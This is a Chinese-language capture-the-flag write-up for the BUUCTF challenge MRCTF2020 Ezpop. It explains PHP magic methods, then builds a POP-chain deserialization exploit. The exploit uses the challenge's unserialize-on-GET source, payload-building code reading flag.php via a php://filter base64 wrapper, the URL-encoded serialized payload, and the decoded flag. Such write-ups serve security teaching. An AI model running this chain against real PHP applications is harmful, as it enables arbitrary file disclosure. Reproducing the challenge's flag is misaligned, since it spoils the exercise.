赞
踩
作者:Hopeace
靶机地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop
不用看了,反序列化构造和绕过
这种题主要是考察各类魔术方法的触发条件,不断构造调用形成一条链
<?php //flag is in flag.php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
class invoke
{
public function __invoke($x)
{
var_dump($x);
}
}
$obj = new invoke;
$obj(10);
/*
输出:
int 10
*/
<?php class Person{ /*封装私有成员属性*/ private $name='张三';private $sex='男';private $age=12; /*__get()方法用来获取私有属性*/ function __get($property_name){ echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>'; if(isset($this->$property_name)) { return ($this->$property_name); }else{ return NULL; } } } $p1=new Person(); /*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/ echo '姓名:'.$p1->name.'<br/>'; echo '性别:'.$p1->sex.'<br/>'; echo '年龄:'.$p1->age.'<br/>'; ———————————————— 版权声明:本文为CSDN博主「weixin_42113474」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_42113474/article/details/108894764
调用不存在的成员变量时也会触发
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用
从出处向前找
最后应该是include去包含相关文件,需要调用Modifier里的append函数
append需要出发__ invoke魔术方法,看到Test类 里的 __get里的return $function();可以出发invoke,
继续,要触发__get 需要去找一个无source的类
调用__tostring $this->str, 赋值一个Test类,
然后是正则匹配preg_match,会触发__tostring
最后,传入pop参数值,触发__wakeup
pop链构成为:
pop传参 => __wakeup => __tostring => __get => __invoke => 调用include函数去包含flag.php这样的敏感文件
即 Modifier::__invoke()<–Test::__get()<–Show::__toString()
构造代码块
<?php class Modifier{ protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; } public function __toString(){ return "output anything you want"; } } class Test{ public $p; } $payload = new Show('test'); $payload->str = new Test(); $payload->str->p = new Modifier(); $hack = new Show($payload); echo urlencode(serialize($hack)); ?>
本地运行得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
得到一段base64编码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2NmMWM0ZTE3LTE2ODktNDljNS1hOTE4LTVkMjRiNzA1M2U1Y30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解码得到
<?php class Flag{ private $flag= "flag{cf1c4e17-1689-49c5-a918-5d24b7053e5c}"; } echo "Help Me Find FLAG!"; ?>Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。